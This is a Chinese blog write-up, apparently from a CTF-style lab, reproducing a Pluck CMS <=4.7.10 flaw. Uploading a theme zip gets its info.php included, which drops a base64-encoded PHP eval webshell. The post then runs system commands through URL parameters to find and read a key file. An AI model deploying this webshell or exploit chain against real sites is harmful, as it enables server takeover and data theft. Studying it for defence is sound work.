Pluck Cms文件上传结合命令执行复现

本漏洞影响

Pluck CMS Pluck CMS <=4.7.10
部分解释来自零组文库

安装模版+文件包含导致任意命令执行
很多CMS都会在安装模版的时候getshell,那么这里笔者也发现了类似的漏洞。
在阅读自己下载下来得源码之后看到
目录下有.htaccess文件,直接把php设置为不可解析,所以无法直接访问
在这里插入图片描述
所以就想到需要找一个位置对其进行包含,来达到执行的目的。
首先看到admin.php中关于theme的部分
在这里插入图片描述
跟进 data/inc/theme.php,发现调用了get_themes()方法
在这里插入图片描述
跟进 functions.all.php,查看get_themes()方法

function get_themes() {
  $dirs = read_dir_contents('data/themes', 'dirs');
  if ($dirs) {
      natcasesort($dirs);
      foreach ($dirs as $dir) {
          if (file_exists('data/themes/'.$dir.'/info.php')) {
              include_once ('data/themes/'.$dir.'/info.php');
              $themes[] = array(
                  'title'   => $themename,
                  'dir' => $dir
              );
          }
      }
      return $themes;
  }
  else
      return false;
}

发现会遍历data/themes/下所有主题目录,并且包含他的info.php文件
此时info.php可控,就导致了任意代码执行。

下面是复现的过程

在这里插入图片描述
在这里插入图片描述
根据题目的提示,登录密码是admin
在这里插入图片描述
准备的info.php马如下图,这里使用的是GET
在这里插入图片描述
解释一下file_put_contents
file_put_contents ——— 将一个字符串写入文件的函数
与依次调用 fopen(),fwrite()以及 fclose() 功能一样。使用方法如下:

file_put_contents(file,data,mode,context)

所以info.php文件里面写的就是当读取了info.php就会自动执行file_put_contents 的内容

那么我们现在来创建一个名为zoe.phpbase64编码的一句话GET木马

base64:PD9waHAgQGV2YWwoJF9HRVRbJ3pvZSddKTs/Pg
解码:<?php @eval($_GET['zoe']);?>

那么问题来了为什么这个一句话要使用GET传参?

_GET是一个数组
_GET的作用域是超全局,不需在脚本内部定义或初始化,即可使用
接收从浏览器客户端GET方式(URL中)传递到服务器的参数
GET传参的参数名做_GET数组的key,参数值做为数组的value
GET传参时,直接将参数拼接到URL中即可

然后把这个文件进行右键压缩变成info.zip(上传的压缩包里面的php文件名必须是这个info.php名字,但是压缩包的名字可以自定义一个)
在这里插入图片描述
来这里安装主题,把刚刚的zip上传上去
在这里插入图片描述
使用强大的神器hackbarGET传参执行命令得到phpinfo的信息
在这里插入图片描述
说明这个时候我们的一句话木马就执行成功了接下来就是正常的Linux命令的运用了:
先把phpinfo改为system来进行我们下一步的命令执行操作
在这里插入图片描述

http://120.25.24.45:32246/zoe.php?zoe=system('ls');

这时我们可以使用强大的Linux查找命令find,构造的语句是find / -name key*
可以看到有一大堆字符串,可以使用浏览器的强大搜索功能发现在/tmp目录下有key.txt

这里解释一下key* *是通配符的意思

在这里插入图片描述

http://120.25.24.45:32246/zoe.php?zoe=system('find / -name key*');

很幸运的是,没有过滤什么命令,直接用cat就可以看到了key

http://120.25.24.45:32246/zoe.php?zoe=system('cat /tmp/key.txt');

在这里插入图片描述
修复方法:
建议更新到最新版

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值